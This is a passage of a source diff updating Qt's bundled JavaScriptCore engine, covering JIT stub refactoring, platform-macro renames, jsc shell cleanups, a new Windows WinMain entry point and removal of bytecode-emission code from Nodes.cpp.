-    CHECK_FOR_EXCEPTION_AT_END();
-    return result;
-}
-    
 DEFINE_STUB_FUNCTION(int, op_load_varargs)
 {
     STUB_INIT_STACK_FRAME(stackFrame);
@@ -2217,7 +2275,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_resolve_global)
     PropertySlot slot(globalObject);
     if (globalObject->getPropertySlot(callFrame, ident, slot)) {
         JSValue result = slot.getValue(callFrame, ident);
-        if (slot.isCacheable() && !globalObject->structure()->isUncacheableDictionary() && slot.slotBase() == globalObject) {
+        if (slot.isCacheableValue() && !globalObject->structure()->isUncacheableDictionary() && slot.slotBase() == globalObject) {
             GlobalResolveInfo& globalResolveInfo = callFrame->codeBlock()->globalResolveInfo(globalResolveInfoIndex);
             if (globalResolveInfo.structure)
                 globalResolveInfo.structure->deref();
@@ -2333,8 +2391,6 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_post_inc)
     return JSValue::encode(number);
 }
 
-#if USE(JSVALUE32_64)
-
 DEFINE_STUB_FUNCTION(int, op_eq)
 {
     STUB_INIT_STACK_FRAME(stackFrame);
@@ -2342,6 +2398,7 @@ DEFINE_STUB_FUNCTION(int, op_eq)
     JSValue src1 = stackFrame.args[0].jsValue();
     JSValue src2 = stackFrame.args[1].jsValue();
 
+#if USE(JSVALUE32_64)
     start:
     if (src2.isUndefined()) {
         return src1.isNull() || 
@@ -2397,20 +2454,20 @@ DEFINE_STUB_FUNCTION(int, op_eq)
 
     if (cell1->isString()) {
         if (src2.isInt32())
-            return static_cast<JSString*>(cell1)->value().toDouble() == src2.asInt32();
+            return static_cast<JSString*>(cell1)->value(stackFrame.callFrame).toDouble() == src2.asInt32();
             
         if (src2.isDouble())
-            return static_cast<JSString*>(cell1)->value().toDouble() == src2.asDouble();
+            return static_cast<JSString*>(cell1)->value(stackFrame.callFrame).toDouble() == src2.asDouble();
 
         if (src2.isTrue())
-            return static_cast<JSString*>(cell1)->value().toDouble() == 1.0;
+            return static_cast<JSString*>(cell1)->value(stackFrame.callFrame).toDouble() == 1.0;
 
         if (src2.isFalse())
-            return static_cast<JSString*>(cell1)->value().toDouble() == 0.0;
+            return static_cast<JSString*>(cell1)->value(stackFrame.callFrame).toDouble() == 0.0;
 
         JSCell* cell2 = asCell(src2);
         if (cell2->isString())
-            return static_cast<JSString*>(cell1)->value() == static_cast<JSString*>(cell2)->value();
+            return static_cast<JSString*>(cell1)->value(stackFrame.callFrame) == static_cast<JSString*>(cell2)->value(stackFrame.callFrame);
 
         src2 = asObject(cell2)->toPrimitive(stackFrame.callFrame);
         CHECK_FOR_EXCEPTION();
@@ -2422,10 +2479,19 @@ DEFINE_STUB_FUNCTION(int, op_eq)
     src1 = asObject(cell1)->toPrimitive(stackFrame.callFrame);
     CHECK_FOR_EXCEPTION();
     goto start;
+    
+#else // USE(JSVALUE32_64)
+    CallFrame* callFrame = stackFrame.callFrame;
+    
+    bool result = JSValue::equalSlowCaseInline(callFrame, src1, src2);
+    CHECK_FOR_EXCEPTION_AT_END();
+    return result;
+#endif // USE(JSVALUE32_64)
 }
 
 DEFINE_STUB_FUNCTION(int, op_eq_strings)
 {
+#if USE(JSVALUE32_64)
     STUB_INIT_STACK_FRAME(stackFrame);
 
     JSString* string1 = stackFrame.args[0].jsString();
@@ -2433,27 +2499,14 @@ DEFINE_STUB_FUNCTION(int, op_eq_strings)
 
     ASSERT(string1->isString());
     ASSERT(string2->isString());
-    return string1->value() == string2->value();
-}
-
-#else // USE(JSVALUE32_64)
-
-DEFINE_STUB_FUNCTION(int, op_eq)
-{
-    STUB_INIT_STACK_FRAME(stackFrame);
-
-    JSValue src1 = stackFrame.args[0].jsValue();
-    JSValue src2 = stackFrame.args[1].jsValue();
-
-    CallFrame* callFrame = stackFrame.callFrame;
-
-    bool result = JSValue::equalSlowCaseInline(callFrame, src1, src2);
-    CHECK_FOR_EXCEPTION_AT_END();
-    return result;
+    return string1->value(stackFrame.callFrame) == string2->value(stackFrame.callFrame);
+#else
+    UNUSED_PARAM(args);
+    ASSERT_NOT_REACHED();
+    return 0;
+#endif
 }
 
-#endif // USE(JSVALUE32_64)
-
 DEFINE_STUB_FUNCTION(EncodedJSValue, op_lshift)
 {
     STUB_INIT_STACK_FRAME(stackFrame);
@@ -2731,7 +2784,7 @@ DEFINE_STUB_FUNCTION(int, has_property)
 
     JSObject* base = stackFrame.args[0].jsObject();
     JSString* property = stackFrame.args[1].jsString();
-    return base->hasProperty(stackFrame.callFrame, Identifier(stackFrame.callFrame, property->value()));
+    return base->hasProperty(stackFrame.callFrame, Identifier(stackFrame.callFrame, property->value(stackFrame.callFrame)));
 }
 
 DEFINE_STUB_FUNCTION(JSObject*, op_push_scope)
@@ -2808,7 +2861,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_stricteq)
     JSValue src1 = stackFrame.args[0].jsValue();
     JSValue src2 = stackFrame.args[1].jsValue();
 
-    return JSValue::encode(jsBoolean(JSValue::strictEqual(src1, src2)));
+    return JSValue::encode(jsBoolean(JSValue::strictEqual(stackFrame.callFrame, src1, src2)));
 }
 
 DEFINE_STUB_FUNCTION(EncodedJSValue, op_to_primitive)
@@ -2822,7 +2875,9 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_strcat)
 {
     STUB_INIT_STACK_FRAME(stackFrame);
 
-    return JSValue::encode(concatenateStrings(stackFrame.callFrame, &stackFrame.callFrame->registers()[stackFrame.args[0].int32()], stackFrame.args[1].int32()));
+    JSValue result = jsString(stackFrame.callFrame, &stackFrame.callFrame->registers()[stackFrame.args[0].int32()], stackFrame.args[1].int32());
+    CHECK_FOR_EXCEPTION_AT_END();
+    return JSValue::encode(result);
 }
 
 DEFINE_STUB_FUNCTION(EncodedJSValue, op_nstricteq)
@@ -2832,7 +2887,7 @@ DEFINE_STUB_FUNCTION(EncodedJSValue, op_nstricteq)
     JSValue src1 = stackFrame.args[0].jsValue();
     JSValue src2 = stackFrame.args[1].jsValue();
 
-    return JSValue::encode(jsBoolean(!JSValue::strictEqual(src1, src2)));
+    return JSValue::encode(jsBoolean(!JSValue::strictEqual(stackFrame.callFrame, src1, src2)));
 }
 
 DEFINE_STUB_FUNCTION(EncodedJSValue, op_to_jsnumber)
@@ -2941,9 +2996,9 @@ DEFINE_STUB_FUNCTION(void*, op_switch_char)
     void* result = codeBlock->characterSwitchJumpTable(tableIndex).ctiDefault.executableAddress();
 
     if (scrutinee.isString()) {
-        UString::Rep* value = asString(scrutinee)->value().rep();
-        if (value->size() == 1)
-            result = codeBlock->characterSwitchJumpTable(tableIndex).ctiForValue(value->data()[0]).executableAddress();
+        UString::Rep* value = asString(scrutinee)->value(callFrame).rep();
+        if (value->length() == 1)
+            result = codeBlock->characterSwitchJumpTable(tableIndex).ctiForValue(value->characters()[0]).executableAddress();
     }
 
     return result;
@@ -2961,7 +3016,7 @@ DEFINE_STUB_FUNCTION(void*, op_switch_string)
     void* result = codeBlock->stringSwitchJumpTable(tableIndex).ctiDefault.executableAddress();
 
     if (scrutinee.isString()) {
-        UString::Rep* value = asString(scrutinee)->value().rep();
+        UString::Rep* value = asString(scrutinee)->value(callFrame).rep();
         result = codeBlock->stringSwitchJumpTable(tableIndex).ctiForValue(value).executableAddress();
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITStubs.h b/src/3rdparty/webkit/JavaScriptCore/jit/JITStubs.h
index 69776cb..cf3a7f8 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITStubs.h
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITStubs.h
@@ -29,8 +29,6 @@
 #ifndef JITStubs_h
 #define JITStubs_h
 
-#include <wtf/Platform.h>
-
 #include "MacroAssemblerCodeRef.h"
 #include "Register.h"
 
@@ -74,8 +72,16 @@ namespace JSC {
         JSString* jsString() { return static_cast<JSString*>(asPointer); }
         ReturnAddressPtr returnAddress() { return ReturnAddressPtr(asPointer); }
     };
+    
+    struct TrampolineStructure {
+        MacroAssemblerCodePtr ctiStringLengthTrampoline;
+        MacroAssemblerCodePtr ctiVirtualCallLink;
+        MacroAssemblerCodePtr ctiVirtualCall;
+        MacroAssemblerCodePtr ctiNativeCallThunk;
+        MacroAssemblerCodePtr ctiSoftModulo;
+    };
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     struct JITStackFrame {
         void* reserved; // Unused
         JITStubArg args[6];
@@ -99,11 +105,11 @@ namespace JSC {
         // When JIT code makes a call, it pushes its return address just below the rest of the stack.
         ReturnAddressPtr* returnAddressSlot() { return reinterpret_cast<ReturnAddressPtr*>(this) - 1; }
     };
-#elif PLATFORM(X86)
-#if COMPILER(MSVC)
+#elif CPU(X86)
+#if COMPILER(MSVC) || (OS(WINDOWS) && COMPILER(GCC))
 #pragma pack(push)
 #pragma pack(4)
-#endif // COMPILER(MSVC)
+#endif // COMPILER(MSVC) || (OS(WINDOWS) && COMPILER(GCC))
     struct JITStackFrame {
         void* reserved; // Unused
         JITStubArg args[6];
@@ -127,10 +133,10 @@ namespace JSC {
         // When JIT code makes a call, it pushes its return address just below the rest of the stack.
         ReturnAddressPtr* returnAddressSlot() { return reinterpret_cast<ReturnAddressPtr*>(this) - 1; }
     };
-#if COMPILER(MSVC)
+#if COMPILER(MSVC) || (OS(WINDOWS) && COMPILER(GCC))
 #pragma pack(pop)
-#endif // COMPILER(MSVC)
-#elif PLATFORM(ARM_THUMB2)
+#endif // COMPILER(MSVC) || (OS(WINDOWS) && COMPILER(GCC))
+#elif CPU(ARM_THUMB2)
     struct JITStackFrame {
         void* reserved; // Unused
         JITStubArg args[6];
@@ -158,7 +164,7 @@ namespace JSC {
         
         ReturnAddressPtr* returnAddressSlot() { return &thunkReturnAddress; }
     };
-#elif PLATFORM(ARM_TRADITIONAL)
+#elif CPU(ARM_TRADITIONAL)
     struct JITStackFrame {
         JITStubArg padding; // Unused
         JITStubArg args[7];
@@ -187,6 +193,8 @@ namespace JSC {
 #error "JITStackFrame not defined for this platform."
 #endif
 
+#define JITSTACKFRAME_ARGS_INDEX (OBJECT_OFFSETOF(JITStackFrame, args) / sizeof(void*))
+
 #if USE(JIT_STUB_ARGUMENT_VA_LIST)
     #define STUB_ARGS_DECLARATION void* args, ...
     #define STUB_ARGS (reinterpret_cast<void**>(vl_args) - 1)
@@ -200,16 +208,16 @@ namespace JSC {
     #define STUB_ARGS_DECLARATION void** args
     #define STUB_ARGS (args)
 
-    #if PLATFORM(X86) && COMPILER(MSVC)
+    #if CPU(X86) && COMPILER(MSVC)
     #define JIT_STUB __fastcall
-    #elif PLATFORM(X86) && COMPILER(GCC)
+    #elif CPU(X86) && COMPILER(GCC)
     #define JIT_STUB  __attribute__ ((fastcall))
     #else
     #define JIT_STUB
     #endif
 #endif
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     struct VoidPtrPair {
         void* first;
         void* second;
@@ -237,18 +245,16 @@ namespace JSC {
         static void tryCacheGetByID(CallFrame*, CodeBlock*, ReturnAddressPtr returnAddress, JSValue baseValue, const Identifier& propertyName, const PropertySlot&, StructureStubInfo* stubInfo);
         static void tryCachePutByID(CallFrame*, CodeBlock*, ReturnAddressPtr returnAddress, JSValue baseValue, const PutPropertySlot&, StructureStubInfo* stubInfo);
 
-        MacroAssemblerCodePtr ctiStringLengthTrampoline() { return m_ctiStringLengthTrampoline; }
-        MacroAssemblerCodePtr ctiVirtualCallLink() { return m_ctiVirtualCallLink; }
-        MacroAssemblerCodePtr ctiVirtualCall() { return m_ctiVirtualCall; }
-        MacroAssemblerCodePtr ctiNativeCallThunk() { return m_ctiNativeCallThunk; }
+        MacroAssemblerCodePtr ctiStringLengthTrampoline() { return m_trampolineStructure.ctiStringLengthTrampoline; }
+        MacroAssemblerCodePtr ctiVirtualCallLink() { return m_trampolineStructure.ctiVirtualCallLink; }
+        MacroAssemblerCodePtr ctiVirtualCall() { return m_trampolineStructure.ctiVirtualCall; }
+        MacroAssemblerCodePtr ctiNativeCallThunk() { return m_trampolineStructure.ctiNativeCallThunk; }
+        MacroAssemblerCodePtr ctiSoftModulo() { return m_trampolineStructure.ctiSoftModulo; }
 
     private:
         RefPtr<ExecutablePool> m_executablePool;
 
-        MacroAssemblerCodePtr m_ctiStringLengthTrampoline;
-        MacroAssemblerCodePtr m_ctiVirtualCallLink;
-        MacroAssemblerCodePtr m_ctiVirtualCall;
-        MacroAssemblerCodePtr m_ctiNativeCallThunk;
+        TrampolineStructure m_trampolineStructure;
     };
 
 extern "C" {
@@ -268,6 +274,8 @@ extern "C" {
     EncodedJSValue JIT_STUB cti_op_get_by_id_array_fail(STUB_ARGS_DECLARATION);
     EncodedJSValue JIT_STUB cti_op_get_by_id_generic(STUB_ARGS_DECLARATION);
     EncodedJSValue JIT_STUB cti_op_get_by_id_method_check(STUB_ARGS_DECLARATION);
+    EncodedJSValue JIT_STUB cti_op_get_by_id_getter_stub(STUB_ARGS_DECLARATION);
+    EncodedJSValue JIT_STUB cti_op_get_by_id_custom_stub(STUB_ARGS_DECLARATION);
     EncodedJSValue JIT_STUB cti_op_get_by_id_proto_fail(STUB_ARGS_DECLARATION);
     EncodedJSValue JIT_STUB cti_op_get_by_id_proto_list(STUB_ARGS_DECLARATION);
     EncodedJSValue JIT_STUB cti_op_get_by_id_proto_list_full(STUB_ARGS_DECLARATION);
@@ -326,16 +334,12 @@ extern "C" {
     JSPropertyNameIterator* JIT_STUB cti_op_get_pnames(STUB_ARGS_DECLARATION);
     VoidPtrPair JIT_STUB cti_op_call_arityCheck(STUB_ARGS_DECLARATION);
     int JIT_STUB cti_op_eq(STUB_ARGS_DECLARATION);
-#if USE(JSVALUE32_64)
     int JIT_STUB cti_op_eq_strings(STUB_ARGS_DECLARATION);
-#endif
     int JIT_STUB cti_op_jless(STUB_ARGS_DECLARATION);
     int JIT_STUB cti_op_jlesseq(STUB_ARGS_DECLARATION);
     int JIT_STUB cti_op_jtrue(STUB_ARGS_DECLARATION);
     int JIT_STUB cti_op_load_varargs(STUB_ARGS_DECLARATION);
-    int JIT_STUB cti_op_loop_if_less(STUB_ARGS_DECLARATION);
     int JIT_STUB cti_op_loop_if_lesseq(STUB_ARGS_DECLARATION);
-    int JIT_STUB cti_op_loop_if_true(STUB_ARGS_DECLARATION);
     int JIT_STUB cti_timeout_check(STUB_ARGS_DECLARATION);
     int JIT_STUB cti_has_property(STUB_ARGS_DECLARATION);
     void JIT_STUB cti_op_create_arguments(STUB_ARGS_DECLARATION);
diff --git a/src/3rdparty/webkit/JavaScriptCore/jsc.cpp b/src/3rdparty/webkit/JavaScriptCore/jsc.cpp
index b6bc0aa..252fb96 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jsc.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jsc.cpp
@@ -37,7 +37,7 @@
 #include <stdlib.h>
 #include <string.h>
 
-#if !PLATFORM(WIN_OS)
+#if !OS(WINDOWS)
 #include <unistd.h>
 #endif
 
@@ -54,10 +54,10 @@
 #include <signal.h>
 #endif
 
-#if COMPILER(MSVC) && !PLATFORM(WINCE)
+#if COMPILER(MSVC) && !OS(WINCE)
 #include <crtdbg.h>
-#include <windows.h>
 #include <mmsystem.h>
+#include <windows.h>
 #endif
 
 #if PLATFORM(QT)
@@ -88,8 +88,8 @@ static JSValue JSC_HOST_CALL functionClearSamplingFlags(ExecState*, JSObject*, J
 
 struct Script {
     bool isFile;
-    char *argument;
-    
+    char* argument;
+
     Script(bool isFile, char *argument)
         : isFile(isFile)
         , argument(argument)
@@ -174,12 +174,12 @@ GlobalObject::GlobalObject(const Vector<UString>& arguments)
 JSValue JSC_HOST_CALL functionPrint(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
     for (unsigned i = 0; i < args.size(); ++i) {
-        if (i != 0)
+        if (i)
             putchar(' ');
-        
+
         printf("%s", args.at(i).toString(exec).UTF8String().c_str());
     }
-    
+
     putchar('\n');
     fflush(stdout);
     return jsUndefined();
@@ -194,7 +194,7 @@ JSValue JSC_HOST_CALL functionDebug(ExecState* exec, JSObject*, JSValue, const A
 JSValue JSC_HOST_CALL functionGC(ExecState* exec, JSObject*, JSValue, const ArgList&)
 {
     JSLock lock(SilenceAssertionsOnly);
-    exec->heap()->collect();
+    exec->heap()->collectAllGarbage();
     return jsUndefined();
 }
 
@@ -292,8 +292,18 @@ JSValue JSC_HOST_CALL functionReadline(ExecState* exec, JSObject*, JSValue, cons
 
 JSValue JSC_HOST_CALL functionQuit(ExecState* exec, JSObject*, JSValue, const ArgList&)
 {
+    // Technically, destroying the heap in the middle of JS execution is a no-no,
+    // but we want to maintain compatibility with the Mozilla test suite, so
+    // we pretend that execution has terminated to avoid ASSERTs, then tear down the heap.
+    exec->globalData().dynamicGlobalObject = 0;
+
     cleanupGlobalData(&exec->globalData());
     exit(EXIT_SUCCESS);
+
+#if COMPILER(MSVC) && OS(WINCE)
+    // Without this, Visual Studio will complain that this method does not return a value.
+    return jsUndefined();
+#endif
 }
 
 // Use SEH for Release builds only to get rid of the crash report dialog
@@ -313,7 +323,7 @@ int jscmain(int argc, char** argv, JSGlobalData*);
 
 int main(int argc, char** argv)
 {
-#if defined(_DEBUG) && PLATFORM(WIN_OS)
+#if defined(_DEBUG) && OS(WINDOWS)
     _CrtSetReportFile(_CRT_WARN, _CRTDBG_FILE_STDERR);
     _CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_FILE);
     _CrtSetReportFile(_CRT_ERROR, _CRTDBG_FILE_STDERR);
@@ -322,7 +332,7 @@ int main(int argc, char** argv)
     _CrtSetReportMode(_CRT_ASSERT, _CRTDBG_MODE_FILE);
 #endif
 
-#if COMPILER(MSVC) && !PLATFORM(WINCE)
+#if COMPILER(MSVC) && !OS(WINCE)
     timeBeginPeriod(1);
 #endif
 
@@ -463,30 +473,27 @@ static void parseArguments(int argc, char** argv, Options& options, JSGlobalData
     int i = 1;
     for (; i < argc; ++i) {
         const char* arg = argv[i];
-        if (strcmp(arg, "-f") == 0) {
+        if (!strcmp(arg, "-f")) {
             if (++i == argc)
                 printUsageStatement(globalData);
             options.scripts.append(Script(true, argv[i]));
             continue;
         }
-        if (strcmp(arg, "-e") == 0) {
+        if (!strcmp(arg, "-e")) {
             if (++i == argc)
                 printUsageStatement(globalData);
             options.scripts.append(Script(false, argv[i]));
             continue;
         }
-        if (strcmp(arg, "-h") == 0 || strcmp(arg, "--help") == 0) {
-            printUsageStatement(globalData, true);
-        }
-        if (strcmp(arg, "-i") == 0) {
+        if (!strcmp(arg, "-i")) {
             options.interactive = true;
             continue;
         }
-        if (strcmp(arg, "-d") == 0) {
+        if (!strcmp(arg, "-d")) {
             options.dump = true;
             continue;
         }
-        if (strcmp(arg, "-s") == 0) {
+        if (!strcmp(arg, "-s")) {
 #if HAVE(SIGNAL_H)
             signal(SIGILL, _exit);
             signal(SIGFPE, _exit);
@@ -495,16 +502,18 @@ static void parseArguments(int argc, char** argv, Options& options, JSGlobalData
 #endif
             continue;
         }
-        if (strcmp(arg, "--") == 0) {
+        if (!strcmp(arg, "--")) {
             ++i;
             break;
         }
+        if (!strcmp(arg, "-h") || !strcmp(arg, "--help"))
+            printUsageStatement(globalData, true);
         options.scripts.append(Script(true, argv[i]));
     }
-    
+
     if (options.scripts.isEmpty())
         options.interactive = true;
-    
+
     for (; i < argc; ++i)
         options.arguments.append(argv[i]);
 }
@@ -532,20 +541,20 @@ static bool fillBufferWithContentsOfFile(const UString& fileName, Vector<char>&
         return false;
     }
 
-    size_t buffer_size = 0;
-    size_t buffer_capacity = 1024;
+    size_t bufferSize = 0;
+    size_t bufferCapacity = 1024;
 
-    buffer.resize(buffer_capacity);
+    buffer.resize(bufferCapacity);
 
     while (!feof(f) && !ferror(f)) {
-        buffer_size += fread(buffer.data() + buffer_size, 1, buffer_capacity - buffer_size, f);
-        if (buffer_size == buffer_capacity) { // guarantees space for trailing '\0'
-            buffer_capacity *= 2;
-            buffer.resize(buffer_capacity);
+        bufferSize += fread(buffer.data() + bufferSize, 1, bufferCapacity - bufferSize, f);
+        if (bufferSize == bufferCapacity) { // guarantees space for trailing '\0'
+            bufferCapacity *= 2;
+            buffer.resize(bufferCapacity);
         }
     }
     fclose(f);
-    buffer[buffer_size] = '\0';
+    buffer[bufferSize] = '\0';
 
     return true;
 }
diff --git a/src/3rdparty/webkit/JavaScriptCore/os-win32/WinMain.cpp b/src/3rdparty/webkit/JavaScriptCore/os-win32/WinMain.cpp
new file mode 100644
index 0000000..17800d0
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/os-win32/WinMain.cpp
@@ -0,0 +1,81 @@
+/*
+ *  Copyright (C) 2009 Patrick Gansterer (paroga@paroga.com)
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Library General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Library General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Library General Public License
+ *  along with this library; see the file COPYING.LIB.  If not, write to
+ *  the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ *  Boston, MA 02110-1301, USA.
+ *
+ */
+
+#include "config.h"
+#include "Vector.h"
+#include <winbase.h>
+#include <winnls.h>
+#include <wtf/UnusedParam.h>
+
+int main(int argc, char** argv);
+
+static inline char* convertToUtf8(LPCWSTR widecharString, int length)
+{
+    int requiredSize = WideCharToMultiByte(CP_UTF8, 0, widecharString, length, 0, 0, 0, 0);
+    char* multibyteString = new char[requiredSize + 1];
+
+    WideCharToMultiByte(CP_UTF8, 0, widecharString, length, multibyteString, requiredSize, 0, 0);
+    multibyteString[requiredSize] = '\0';
+
+    return multibyteString;
+}
+
+int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
+{
+    UNUSED_PARAM(hInstance);
+    UNUSED_PARAM(hPrevInstance);
+    UNUSED_PARAM(nCmdShow);
+
+    Vector<char*> arguments;
+    TCHAR buffer[MAX_PATH];
+
+    int length = GetModuleFileNameW(0, buffer, MAX_PATH);
+    arguments.append(convertToUtf8(buffer, length));
+
+    WCHAR* commandLine = lpCmdLine;
+    while (commandLine[0] != '\0') {
+        int commandLineLength = 1;
+        WCHAR endChar = ' ';
+
+        while (commandLine[0] == ' ')
+            ++commandLine;
+
+        if (commandLine[0] == '\"') {
+            ++commandLine;
+            endChar = '\"';
+        }
+
+        while (commandLine[commandLineLength] != endChar && commandLine[commandLineLength] != '\0')
+            ++commandLineLength;
+
+        arguments.append(convertToUtf8(commandLine, commandLineLength));
+
+        commandLine += commandLineLength;
+        if (endChar != ' ' && commandLine[0] != '\0')
+            ++commandLine;
+    }
+
+    int res = main(arguments.size(), arguments.data());
+
+    for (size_t i = 0; i < arguments.size(); i++)
+        delete arguments[i];
+
+    return res;
+}
diff --git a/src/3rdparty/webkit/JavaScriptCore/parser/Grammar.y b/src/3rdparty/webkit/JavaScriptCore/parser/Grammar.y
index 6d953df..4d6e7d1 100644
--- a/src/3rdparty/webkit/JavaScriptCore/parser/Grammar.y
+++ b/src/3rdparty/webkit/JavaScriptCore/parser/Grammar.y
@@ -43,7 +43,7 @@
 // Default values for bison.
 #define YYDEBUG 0 // Set to 1 to debug a parse error.
 #define jscyydebug 0 // Set to 1 to debug a parse error.
-#if !PLATFORM(DARWIN)
+#if !OS(DARWIN)
 // Avoid triggering warnings in older bison by not setting this on the Darwin platform.
 // FIXME: Is this still needed?
 #define YYERROR_VERBOSE
@@ -1987,12 +1987,9 @@ static PropertyNode* makeGetterOrSetterPropertyNode(JSGlobalData* globalData, co
 static ExpressionNode* makeNegateNode(JSGlobalData* globalData, ExpressionNode* n)
 {
     if (n->isNumber()) {
-        NumberNode* number = static_cast<NumberNode*>(n);
-
-        if (number->value() > 0.0) {
-            number->setValue(-number->value());
-            return number;
-        }
+        NumberNode* numberNode = static_cast<NumberNode*>(n);
+        numberNode->setValue(-numberNode->value());
+        return numberNode;
     }
 
     return new (globalData) NegateNode(globalData, n);
diff --git a/src/3rdparty/webkit/JavaScriptCore/parser/Lexer.cpp b/src/3rdparty/webkit/JavaScriptCore/parser/Lexer.cpp
index df30838..83f56bd 100644
--- a/src/3rdparty/webkit/JavaScriptCore/parser/Lexer.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/parser/Lexer.cpp
@@ -39,10 +39,7 @@ using namespace Unicode;
 // We can't specify the namespace in yacc's C output, so do it here instead.
 using namespace JSC;
 
-#ifndef KDE_USE_FINAL
 #include "Grammar.h"
-#endif
-
 #include "Lookup.h"
 #include "Lexer.lut.h"
 
@@ -642,6 +639,8 @@ inStringEscapeSequence:
         shiftLineTerminator();
         goto inString;
     }
+    if (m_current == -1)
+        goto returnError;
     record16(singleEscape(m_current));
     shift1();
     goto inString;
diff --git a/src/3rdparty/webkit/JavaScriptCore/parser/Nodes.cpp b/src/3rdparty/webkit/JavaScriptCore/parser/Nodes.cpp
index 45009dc..4b97e9a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/parser/Nodes.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/parser/Nodes.cpp
@@ -49,63 +49,6 @@ using namespace WTF;
 
 namespace JSC {
 
-/*
-    Details of the emitBytecode function.
-
-    Return value: The register holding the production's value.
-             dst: An optional parameter specifying the most efficient destination at
-                  which to store the production's value. The callee must honor dst.
-
-    The dst argument provides for a crude form of copy propagation. For example,
-
-        x = 1
-
-    becomes
-    
-        load r[x], 1
-    
-    instead of 
-
-        load r0, 1
-        mov r[x], r0
-    
-    because the assignment node, "x =", passes r[x] as dst to the number node, "1".
-*/
-
-// ------------------------------ ThrowableExpressionData --------------------------------
-
-static void substitute(UString& string, const UString& substring)
-{
-    int position = string.find("%s");
-    ASSERT(position != -1);
-    UString newString = string.substr(0, position);
-    newString.append(substring);
-    newString.append(string.substr(position + 2));
-    string = newString;
-}
-
-RegisterID* ThrowableExpressionData::emitThrowError(BytecodeGenerator& generator, ErrorType type, const char* message)
-{
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    RegisterID* exception = generator.emitNewError(generator.newTemporary(), type, jsString(generator.globalData(), message));
-    generator.emitThrow(exception);
-    return exception;
-}
-
-RegisterID* ThrowableExpressionData::emitThrowError(BytecodeGenerator& generator, ErrorType type, const char* messageTemplate, const UString& label)
-{
-    UString message = messageTemplate;
-    substitute(message, label);
-    generator.emitExpressionInfo(divot(), startOffset(), endOffset());
-    RegisterID* exception = generator.emitNewError(generator.newTemporary(), type, jsString(generator.globalData(), message));
-    generator.emitThrow(exception);
-    return exception;
-}
-
-inline RegisterID* ThrowableExpressionData::emitThrowError(BytecodeGenerator& generator, ErrorType type, const char* messageTemplate, const Identifier& label)
-{
-    return emitThrowError(generator, type, messageTemplate, label.ustring());
-}
 
 // ------------------------------ StatementNode --------------------------------
 
@@ -130,1753 +73,6 @@ inline StatementNode* SourceElements::singleStatement() const
     return size == 1 ? m_statements[0] : 0;
 }
 
-inline StatementNode* SourceElements::lastStatement() const
-{
-    size_t size = m_statements.size();
-    return size ? m_statements[size - 1] : 0;
-}
-
-// ------------------------------ NullNode -------------------------------------
-
-RegisterID* NullNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (dst == generator.ignoredResult())
-        return 0;
-    return generator.emitLoad(dst, jsNull());
-}
-
-// ------------------------------ BooleanNode ----------------------------------
-
-RegisterID* BooleanNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (dst == generator.ignoredResult())
-        return 0;
-    return generator.emitLoad(dst, m_value);
-}
-
-// ------------------------------ NumberNode -----------------------------------
-
-RegisterID* NumberNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (dst == generator.ignoredResult())
-        return 0;
-    return generator.emitLoad(dst, m_value);
-}
-
-// ------------------------------ StringNode -----------------------------------
-
-RegisterID* StringNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (dst == generator.ignoredResult())
-        return 0;
-    return generator.emitLoad(dst, m_value);
-}
-
-// ------------------------------ RegExpNode -----------------------------------
-
-RegisterID* RegExpNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    RefPtr<RegExp> regExp = RegExp::create(generator.globalData(), m_pattern.ustring(), m_flags.ustring());
-    if (!regExp->isValid())
-        return emitThrowError(generator, SyntaxError, "Invalid regular expression: %s", regExp->errorMessage());
-    if (dst == generator.ignoredResult())
-        return 0;
-    return generator.emitNewRegExp(generator.finalDestination(dst), regExp.get());
-}
-
-// ------------------------------ ThisNode -------------------------------------
-
-RegisterID* ThisNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (dst == generator.ignoredResult())
-        return 0;
-    return generator.moveToDestinationIfNeeded(dst, generator.thisRegister());
-}
-
-// ------------------------------ ResolveNode ----------------------------------
-
-bool ResolveNode::isPure(BytecodeGenerator& generator) const
-{
-    return generator.isLocal(m_ident);
-}
-
-RegisterID* ResolveNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
-{
-    if (RegisterID* local = generator.registerFor(m_ident)) {
-        if (dst == generator.ignoredResult())
-            return 0;
-        return generator.moveToDestinationIfNeeded(dst, local);
-    }
-    
-    generator.emitExpressionInfo(m_startOffset + m_ident.size(), m_ident.size(), 0);
-    return generator.emitResolve(generator.finalDestination(dst), m_ident);
-}
-
-// ------------------------------ ArrayNode ------------------------------------
-
-RegisterID* ArrayNode::emitBytecode(BytecodeGenerator& generator, RegisterID* dst)
